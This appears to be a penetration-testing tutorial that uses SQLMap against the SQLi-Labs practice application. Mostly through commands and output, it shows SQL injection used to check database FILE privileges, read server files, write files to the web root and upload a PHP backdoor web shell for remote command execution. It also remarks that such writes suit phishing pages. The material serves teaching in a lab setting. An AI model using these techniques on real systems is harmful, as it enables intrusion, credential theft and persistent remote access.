Reading and writing files from the file system

Reading and writing files from the file system

December 23, 2022 7 min read 10 views 0 discussions
Table of Contents

    These days, DBMS systems provide many facilities, one of which includes the ability to read and write files from the file system. In this chapter, we will learn, how to read and write files from SQLi-Labs.

    Checking privileges 

    Before proceeding further, our first priority is to check whether the running back-end DBMS user has FILE privileges or not.

    To get this we'll use the --privileges switch in SQLMap. Using the previous error-based example, let us first check if the database user has FILE privileges or not.

    ┌──(kali㉿kali)-[~]
    └─$sqlmap -u http://192.168.56.108/sqli-labs-master/Less-1/?id=1 --privileges  

    The output is shown below:

    [*] 'root'@'localhost' (administrator) [28]:
        privilege: ALTER
        privilege: ALTER ROUTINE
        privilege: CREATE
        privilege: CREATE ROUTINE
        privilege: CREATE TEMPORARY TABLES
        privilege: CREATE USER
        privilege: CREATE VIEW
        privilege: DELETE
        privilege: DROP
        privilege: EXECUTE
        privilege: FILE
        privilege: INDEX
        privilege: INSERT
        privilege: LOCK TABLES
        privilege: PROCESS
        privilege: REFERENCES
        privilege: RELOAD
        privilege: REPLICATION CLIENT
        privilege: REPLICATION SLAVE
        privilege: SELECT
        privilege: SHOW DATABASES
        privilege: SHOW VIEW
        privilege: SHUTDOWN
        privilege: SUPER
        privilege: UPDATE

    As highlighted in the preceding screenshot, you can see that the user has FILE privileges available, and we can utilize this to read/write files from the injection if the file system permissions allow this. 

    Remember: MySQL runs a separate user account to read/write files to the file system in Linux, so there will be a problem while retrieving data.

    Reading files

    Let's try to read a common file under xampp servers called "index.php", which can be found in within c:\xampp\htdocs.

    As you noticed, this is the file path of the index.php file highlighted in red color.

    We'll use the --file-read switch in SQLMap followed by the full path of the file we want to download.

    ┌──(kali㉿kali)-[~]
    └─$sqlmap -u http://192.168.56.108/sqli-labs-master/Less-1/?id=1 --file-read=c:/xampp/htdocs/index.html

    Now type y to download the mentioned file.

    [13:16:59] [INFO] fetching file: 'c:/xampp/htdocs/index.html'
    do you want confirmation that the remote file 'c:/xampp/htdocs/index.html' has been successfully downloaded from the back-end DBMS file system? [Y/n]y
    [13:17:01] [INFO] the local file '/home/kali/.local/share/sqlmap/output/192.168.56.108/files/c__xampp_htdocs_index.html' and the remote file 'c:/xampp/htdocs/sqli-labs-master/index.html' have the same size (7933 B)                       
    files saved to [1]:
    [*]/home/kali/.local/share/sqlmap/output/192.168.56.108/files/c__xampp_htdocs_index.html(same file)

    SQLMap successfully reads the file and saves it for later usage. You can read this saved file using any text editor.

    ┌──(kali㉿kali)-[~]
    └─$mousepad /home/kali/.local/share/sqlmap/output/192.168.56.108/files/c__xampp_htdocs_index.html

    Reading files from SQLMap can be truly beneficial, sometimes we can get direct database credentials from configuration files of a web application; generally, for popular applications, the location of the configuration file is widely known. 

    Writing files

    We just saw how to read a file with SQLMap. Now, let's discuss the file-writing capability of SQLMap. As I previously mentioned, if we have proper write access to a directory on the target server then we can successfully upload or write a file.

    SQLMap provides the --file-write <followed by the location of the local file to upload>, and the--filedest <followed by the location of the file to write>, on the target server.

    For purposes of demonstration, I've created a file locally at /home/kali/test with the content “hello world!”,

    and will upload it to the target's c:\xampp\htdocs\test.html folder as follows:

    ┌──(kali㉿kali)-[~]
    └─$sqlmap -u http://192.168.56.108/sqli-labs-master/Less-1/?id=1 --file-write=/home/kali/test --file-dest=c:/xampp/htdocs/test.html

    The output is shown below:

    [13:17:49] [INFO] the back-end DBMS is MySQL
    web server operating system: Windows
    web application technology: PHP 5.6.39, Apache 2.4.37
    back-end DBMS: MySQL >= 5.0 (MariaDB fork)
    [13:17:49] [INFO] fingerprinting the back-end DBMS operating system
    [13:17:49] [INFO] the back-end DBMS operating system is Windows
    [13:17:49] [WARNING] expect junk characters inside the file as a leftover from UNION query
    do you want confirmation that the local file '/home/kali/test' has been successfully written on the back-end DBMS file system ('c:/xampp/htdocs/test.html')? [Y/n] y
    [13:17:53] [INFO] retrieved: '15'
    [13:17:53] [INFO] the remote file 'c:/xampp/htdocs/test.html' is larger (15 B) than the local file '/home/kali/test' (13B)
    [13:17:53] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/192.168.56.108'

    As reported by SQLMap, we have successfully uploaded the file to the c:\xampp\htdocs folder of the xampp server. Let's verify that from a browser.

    Sweet! The file is now live. Going one step ahead, let us upload a PHP one-liner backdoor shell through SQLMap.

    Use the below command to copy thesimple-backdoor.php file to the kali home directory.

    ┌──(kali㉿kali)-[~]
    └─$cp /usr/share/webshells/php/simple-backdoor.php shell.php                                                                                                                            
    On execution, you will able to copy this file to the Kali home directory.

    In order to work properly, you have to edit some values of the "shell.php" file using a text editor:

    • Change the Request value to GET and Save it.

    Now use the following command to upload this file to c:\xampp\htdocs\.

    ┌──(kali㉿kali)-[~]
    └─$sqlmap -u http://192.168.56.108/sqli-labs-master/Less-1/?id=4 --file-write=/home/kali/shell.php --file-dest=c:/xampp/htdocs/shell.php

    The output is shown below:

    ---
    [13:22:14] [INFO] the back-end DBMS is MySQL
    web server operating system: Windows
    web application technology: PHP 5.6.39, Apache 2.4.37
    back-end DBMS: MySQL >= 5.0 (MariaDB fork)
    [13:22:14] [INFO] fingerprinting the back-end DBMS operating system
    [13:22:14] [INFO] the back-end DBMS operating system is Windows
    [13:22:14] [WARNING] expect junk characters inside the file as a leftover from UNION query
    do you want confirmation that the local file '/home/kali/shell.php' has been successfully written on the back-end DBMS file system ('c:/xampp/htdocs/shell.php')? [Y/n] y
    [13:22:16] [INFO] retrieved: '326'
    [13:22:16] [INFO] the remote file 'c:/xampp/htdocs/shell.php' is larger (326 B) than the local file '/home/kali/shell.php' (324B)

    SQLMap reports that the upload is successful. Let's try to access the command shell and execute a few Windows commands like ipconfig, whoami, dir, and many more.

    This is the usage URL:

    Let's execute commands similar to given the usage:

    Fantastic, we have shell access to the server. The writing file capability comes in very handy when uploading backdoor shells, phishing pages, and so on. Keep in mind that if there is an injection into a get parameter, then the maximum length of the file should be less than the size length of the URL accepted by the web server.

    For Apache HTTPd, the default maximum URL length is 8 kilobytes, so files less than that can be uploaded with this trick. Although penetration testers typically upload a small PHP script in the document root of the web server it provides the functionality to upload more files to bypass the URL length limitation.

    Community Q&A